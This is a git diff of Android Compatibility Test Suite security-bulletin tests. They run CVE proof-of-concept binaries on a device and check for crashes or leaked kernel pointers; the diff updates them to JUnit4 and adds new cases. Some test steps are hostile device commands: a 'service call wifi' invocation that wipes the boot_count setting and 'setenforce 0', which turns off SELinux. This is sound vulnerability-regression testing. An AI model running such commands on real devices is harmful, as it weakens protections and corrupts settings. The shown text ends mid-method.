- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,23 +17,40 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_02 extends SecurityTestCase {
-  /**
-   *  b/32799236
-   */
-  @SecurityTest
-  public void testPocCVE_2017_0426() throws Exception {
-      AdbUtils.runCommandLine("logcat -c", getDevice());
-      AdbUtils.runPoc("CVE-2017-0426", getDevice(), 60);
-      String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-      assertNotMatches("[\\s\\n\\S]*Bugreports file in wrong path[\\s\\n\\S]*", logcatOut);
-  }
+    /**
+     *  b/32799236
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-02")
+    public void testPocCVE_2017_0426() throws Exception {
+        AdbUtils.runCommandLine("logcat -c", getDevice());
+        AdbUtils.runPoc("CVE-2017-0426", getDevice(), 60);
+        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatchesMultiLine("Bugreports file in wrong path", logcatOut);
+    }
+
+    /**
+     *  b/32706020
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-02")
+    public void testPocCVE_2017_0415() throws Exception {
+        AdbUtils.runPocAssertNoCrashes("CVE-2017-0415", getDevice(), "mediaserver");
+    }
 
     /**
      *  b/31799863
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-02")
     public void testPocCVE_2016_8482() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvmap")) {
             AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 80c959c..492fdb0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -16,27 +16,37 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import java.util.concurrent.Callable;
 
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_03 extends SecurityTestCase {
 
     /**
      *  b/31824853
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2016_8479() throws Exception {
         if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-            AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), 180);
+             AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), TIMEOUT_NONDETERMINISTIC);
             // CTS begins the next test before device finishes rebooting,
             // sleep to allow time for device to reboot.
-            Thread.sleep(30000);
+            Thread.sleep(70000);
         }
     }
 
     /**
      *  b/33940449
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2017_0508() throws Exception {
         if (containsDriver(getDevice(), "/dev/ion") &&
             containsDriver(getDevice(), "/dev/dri/renderD129")) {
@@ -50,7 +60,8 @@
     /**
      *  b/33899363
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2017_0333() throws Exception {
         if (containsDriver(getDevice(), "/dev/dri/renderD128")) {
             AdbUtils.runPocNoOutput("CVE-2017-0333", getDevice(), 30);
@@ -62,24 +73,60 @@
     /**
      *  b/33245849
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2017_0334() throws Exception {
         if (containsDriver(getDevice(), "/dev/dri/renderD129")) {
-           String out = AdbUtils.runPoc("CVE-2017-0334", getDevice());
-           assertNotMatchesMultiLine(".*Leaked ptr is (0x[fF]{6}[cC]0[a-fA-F0-9]{8}"
-               +"|0x[c-fC-F][a-fA-F0-9]{7}).*",out);
+            String out = AdbUtils.runPoc("CVE-2017-0334", getDevice());
+            // info leak sample
+            // "leaked ptr is 0xffffffc038ed1980"
+            String[] lines = out.split("\n");
+            String pattern = "Leaked ptr is 0x";
+            assertNotKernelPointer(new Callable<String>() {
+                int index = 0;
+                @Override
+                public String call() {
+                    for (; index < lines.length; index++) {
+                        String line = lines[index];
+                        int index = line.indexOf(pattern);
+                        if (index == -1) {
+                            continue;
+                        }
+                        return line.substring(index + pattern.length());
+                    }
+                    return null;
+                }
+            }, null);
         }
     }
 
     /**
      * b/32707507
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2017_0479() throws Exception {
-        AdbUtils.runCommandLine("logcat -c" , getDevice());
-        AdbUtils.runPocNoOutput("CVE-2017-0479", getDevice(), 60);
-        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine(".*Fatal signal 11 \\(SIGSEGV\\).*>>> /system/bin/" +
-                         "audioserver <<<.*", logcatOut);
+        AdbUtils.runPocAssertNoCrashes("CVE-2017-0479", getDevice(), "audioserver");
     }
+
+    /*
+     *  b/33178389
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-03")
+    public void testPocCVE_2017_0490() throws Exception {
+        String bootCountBefore =
+                AdbUtils.runCommandLine("settings get global boot_count", getDevice());
+        AdbUtils.runCommandLine("service call wifi 43 s16 content://settings/global/boot_count s16 "
+                + "\"application/x-wifi-config\"",
+                getDevice());
+        String bootCountAfter =
+                AdbUtils.runCommandLine("settings get global boot_count", getDevice());
+        // Poc nukes the boot_count setting, reboot to restore it to a sane value
+        AdbUtils.runCommandLine("reboot", getDevice());
+        getDevice().waitForDeviceOnline(60 * 1000);
+        updateKernelStartTime();
+        assertEquals(bootCountBefore, bootCountAfter);
+    }
+
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
index 71e3975..f5c8fe3 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,36 +17,60 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_04 extends SecurityTestCase {
 
-  /**
-   * b/32342065
-   */
-  @SecurityTest
-  public void testPocCVE_2017_0553() throws Exception {
-    // Error code of 139 represents segmentation fault
-    getDevice().executeShellCommand("chmod +x /data/local/tmp/CVE-2017-0553");
-    assertFalse("Segfault found",
-        AdbUtils.runCommandGetExitCode("/data/local/tmp/CVE-2017-0553", getDevice())==139);
-  }
+    /**
+     * b/32342065
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-04")
+    public void testPocCVE_2017_0553() throws Exception {
+      // Error code of 139 represents segmentation fault
+      getDevice().executeShellCommand("chmod +x /data/local/tmp/CVE-2017-0553");
+      assertFalse("Segfault found",
+          AdbUtils.runCommandGetExitCode("/data/local/tmp/CVE-2017-0553", getDevice())==139);
+    }
 
-  /**
-   * b/72460737
-   */
-  @SecurityTest
-  public void testPocCVE_2014_3145() throws Exception {
-    assertFalse("VULNERABLE DEVICE DETECTED",
-                AdbUtils.runPocCheckExitCode("CVE-2014-3145", getDevice(), 60));
-  }
+    /**
+     * b/72460737
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-04")
+    public void testPocCVE_2014_3145() throws Exception {
+      assertFalse("VULNERABLE DEVICE DETECTED",
+                  AdbUtils.runPocCheckExitCode("CVE-2014-3145", getDevice(), 60));
+    }
 
-  /**
-   * b/32813456
-   */
-  @SecurityTest
-  public void testPocCVE_2016_10229() throws Exception {
-    String out = AdbUtils.runPoc("CVE-2016-10229", getDevice());
-    assertNotMatchesMultiLine(".*OVERWRITE.*", out);
-  }
+    /**
+     * b/32813456
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-04")
+    public void testPocCVE_2016_10229() throws Exception {
+      String out = AdbUtils.runPoc("CVE-2016-10229", getDevice());
+      assertNotMatchesMultiLine("OVERWRITE", out);
+    }
+
+    /**
+     * b/33621647
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-04")
+    public void testPocCVE_2017_0477() throws Exception {
+        AdbUtils.pushResource("/CVE-2017-0477.gif", "/data/local/tmp/CVE-2017-0477.gif",
+                getDevice());
+        AdbUtils.runCommandLine("logcat -c", getDevice());
+
+        // because runPocGetExitCode() isn't a thing
+        AdbUtils.runCommandLine("chmod +x /data/local/tmp/CVE-2017-0477", getDevice());
+        int code = AdbUtils.runCommandGetExitCode("/data/local/tmp/CVE-2017-0477", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
index 2d6b44a..1ec6d89 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -16,20 +16,67 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import java.util.Arrays;
+import java.util.concurrent.Callable;
 
-@SecurityTest
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_05 extends SecurityTestCase {
 
     /**
      *  b/34277115
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-05")
     public void testPocCVE_2017_0630() throws Exception {
         if (containsDriver(getDevice(), "/sys/kernel/debug/tracing/printk_formats")) {
-          String commandOutput = AdbUtils.runCommandLine("cat /sys/kernel/debug/tracing" +
-                                                         "/printk_formats", getDevice());
-          assertNotMatchesMultiLine(".*0x(?!0){8,16}[0-9a-fA-F]{8,16} : .*", commandOutput);
+            String printkFormats = AdbUtils.runCommandLine(
+                    "cat /sys/kernel/debug/tracing/printk_formats", getDevice());
+            String[] pointerStrings = printkFormats.split("\n");
+            assertNotKernelPointer(new Callable<String>() {
+                int index;
+                @Override
+                public String call() {
+                  for (; index < pointerStrings.length; index++) {
+                      String line = pointerStrings[index];
+                      String pattern = "0x";
+                      int startIndex = line.indexOf(pattern);
+                      if (startIndex == -1) {
+                          continue;
+                      }
+                      return line.substring(startIndex + pattern.length());
+                  }
+                  return null;
+                }
+            }, null);
+        }
+    }
+
+    /*
+     * CVE-2016-5862
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-05")
+    public void testPocCVE_2016_5862() throws Exception {
+        if (containsDriver(getDevice(), "/dev/snd/controlC0")) {
+            AdbUtils.runPocNoOutput("CVE-2016-5862",getDevice(), 60);
+        }
+    }
+
+    /**
+     * CVE-2016-5867
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-05")
+    public void testPocCVE_2016_5867() throws Exception {
+        if (containsDriver(getDevice(), "/dev/snd/controlC0")) {
+            AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2016-5867", getDevice(), 60);
         }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
new file mode 100644
index 0000000..1f7e5e9
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
@@ -0,0 +1,46 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc17_06 extends SecurityTestCase {
+
+    /**
+     * b/36392138
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-06")
+    public void testPocCVE_2017_0647() throws Exception {
+        AdbUtils.pushResource("/CVE-2017-0647.zip", "/data/local/tmp/CVE-2017-0647.zip",
+                getDevice());
+        AdbUtils.runCommandLine("logcat -c" , getDevice());
+        AdbUtils.runCommandLine(
+            "dex2oat " +
+            "--dex-file=/data/local/tmp/CVE-2017-0647.zip " +
+            "--oat-file=/data/local/tmp/out " +
+            "--base=0x50000000", getDevice());
+        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatchesMultiLine("Zip: missed a central dir sig", logcatOut);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
index 1f9602a4..d3a086a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,14 +17,20 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_07 extends SecurityTestCase {
 
     /**
      * b/35443725
      **/
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testPocCVE_2016_2109() throws Exception {
       assertFalse("Overallocation detected!",
           AdbUtils.runPocCheckExitCode("CVE-2016-2109",
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
index 987233d..de7381e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,14 +17,20 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_09 extends SecurityTestCase {
 
     /**
      * b/63852675
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testPocCve_2017_6983() throws Exception {
       // Error code of 139 represents segmentation fault
       assertFalse("Segfault found",
@@ -53,14 +59,15 @@
                                       )==139);
     }
 
-  /**
-   * b/38195738
-   * b/36590192
-   */
-  @SecurityTest
-  public void testPocBug_38195738() throws Exception {
-    if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-      AdbUtils.runPocNoOutput("Bug-38195738", getDevice(), 60);
+    /**
+     * b/38195738
+     * b/36590192
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-09")
+    public void testPocBug_38195738() throws Exception {
+        if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
+            AdbUtils.runPocNoOutput("Bug-38195738", getDevice(), 60);
+        }
     }
-  }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
index 8f1771b..e592d0f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,14 +17,20 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_11 extends SecurityTestCase {
 
     /**
      * b/36075131
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-11")
     public void testPocCVE_2017_0859() throws Exception {
         AdbUtils.runCommandLine("logcat -c", getDevice());
         AdbUtils.pushResource("/cve_2017_0859.mp4", "/sdcard/cve_2017_0859.mp4", getDevice());
@@ -33,9 +39,6 @@
                                     " -t audio/amr", getDevice());
         // Wait for intent to be processed before checking logcat
         Thread.sleep(5000);
-        String logcat =  AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
-                         "[\\s\\n\\S]*>>> /system/bin/" +
-                         "mediaserver <<<[\\s\\n\\S]*", logcat);
+        AdbUtils.assertNoCrashes(getDevice(), "mediaserver");
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
index 799e0b6..71607c8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,17 +17,23 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_12 extends SecurityTestCase {
 
-  /**
-   * b/38045794
-   */
-  @SecurityTest
-  public void testPocCVE_2017_6262() throws Exception {
-    if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
-      AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 900);
+    /**
+     * b/38045794
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-12")
+    public void testPocCVE_2017_6262() throws Exception {
+        if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
+            AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), TIMEOUT_NONDETERMINISTIC);
+        }
     }
-  }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
index 1d6c60d..377e219 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,20 +17,45 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc18_02 extends SecurityTestCase {
 
     /**
      * b/68953950
      */
-     @SecurityTest
-     public void testPocCVE_2017_13232() throws Exception {
-       AdbUtils.runCommandLine("logcat -c" , getDevice());
-       AdbUtils.runPocNoOutput("CVE-2017-13232", getDevice(), 60);
-       String logcatOutput = AdbUtils.runCommandLine("logcat -d", getDevice());
-       assertNotMatchesMultiLine(".*APM_AudioPolicyManager: getOutputForAttr\\(\\) "+
-                                 "invalid attributes: usage=.{1,} content=.{1,} "+
-                                 "flags=.{1,} tags=\\[.{256,}\\].*", logcatOutput);
-     }
+    @Test
+    @SecurityTest(minPatchLevel = "2018-02")
+    public void testPocCVE_2017_13232() throws Exception {
+        AdbUtils.runCommandLine("logcat -c" , getDevice());
+        AdbUtils.runPocNoOutput("CVE-2017-13232", getDevice(), 60);
+        String logcatOutput = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatchesMultiLine("APM_AudioPolicyManager: getOutputForAttr\\(\\) " +
+                                  "invalid attributes: usage=.{1,15} content=.{1,15} " +
+                                  "flags=.{1,15} tags=\\[A{256,}\\]", logcatOutput);
+    }
+
+    /**
+     *  b/65853158
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-02")
+    public void testPocCVE_2017_13273() throws Exception {
+        AdbUtils.runCommandLine("dmesg -c" ,getDevice());
+        AdbUtils.runCommandLine("setenforce 0",getDevice());
+        if(containsDriver(getDevice(), "/dev/xt_qtaguid") &&
+           containsDriver(getDevice(), "/proc/net/xt_qtaguid/ctrl")) {
+            AdbUtils.runPoc("CVE-2017-13273", getDevice(), 60);
+            String dmesgOut = AdbUtils.runCommandLine("cat /sys/fs/pstore/console-ramoops",
+                              getDevice());
+            assertNotMatchesMultiLine("CVE-2017-132736 Tainted:" + "[\\s\\n\\S]*" +
+                 "Kernel panic - not syncing: Fatal exception in interrupt", dmesgOut);
+        }
+        AdbUtils.runCommandLine("setenforce 1",getDevice());
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
index 6398164..c8f9c65 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,15 +17,22 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc18_03 extends SecurityTestCase {
 
-  /**
-   *  b/71389378
-   */
-  @SecurityTest
-  public void testPocCVE_2017_13253() throws Exception {
-    String output = AdbUtils.runPoc("CVE-2017-13253", getDevice());
-    assertNotMatchesMultiLine(".*OVERFLOW DETECTED.*",output);
-  }
+    /**
+     *  b/71389378
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-03")
+    public void testPocCVE_2017_13253() throws Exception {
+        String output = AdbUtils.runPoc("CVE-2017-13253", getDevice());
+        assertNotMatchesMultiLine("OVERFLOW DETECTED",output);
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
new file mode 100644
index 0000000..44b0d89
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
@@ -0,0 +1,61 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc18_04 extends SecurityTestCase {
+    /**
+     * b/69683251
+     * Does not require root but must be a hostside test to avoid
+     * a race condition
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-04")
+    public void testPocCVE_2017_13286() throws Exception {
+        getOomCatcher().setHighMemoryTest();
+        LaunchSomeWhere.launchSomeWhere("CVE_2017_13286", getDevice());
+    }
+
+    /**
+     * b/69634768
+     * Does not require root but must be a hostside test to avoid a race condition
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-04")
+    public void testPocCVE_2017_13288() throws Exception {
+        getOomCatcher().setHighMemoryTest();
+        LaunchSomeWhere.launchSomeWhere("CVE_2017_13288", getDevice());
+    }
+
+    /**
+     * b/70398564
+     * Does not require root but must be a hostside test to avoid a race condition
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-04")
+    public void testPocCVE_2017_13289() throws Exception {
+        getOomCatcher().setHighMemoryTest();
+        LaunchSomeWhere.launchSomeWhere("CVE_2017_13289", getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
new file mode 100644
index 0000000..6b51f0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
@@ -0,0 +1,50 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc18_05 extends SecurityTestCase {
+    /**
+     * b/70721937
+     * Does not require root but must be a hostside test to avoid a race
+     * condition
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-05")
+    public void testPocCVE_2017_13315() throws Exception {
+        getOomCatcher().setHighMemoryTest();
+        LaunchSomeWhere.launchSomeWhere("CVE_2017_13315", getDevice());
+    }
+
+    /**
+     * b/73085795
+     * Does not require root but must be a hostside test to avoid a race condition
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-05")
+    public void testPocCVE_2017_13312() throws Exception {
+        getOomCatcher().setHighMemoryTest();
+        LaunchSomeWhere.launchSomeWhere("CVE_2017_13312", getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
new file mode 100644
index 0000000..c0aab3b
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
@@ -0,0 +1,54 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc18_06 extends SecurityTestCase {
+
+    /**
+     * CVE-2018-5884
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-06")
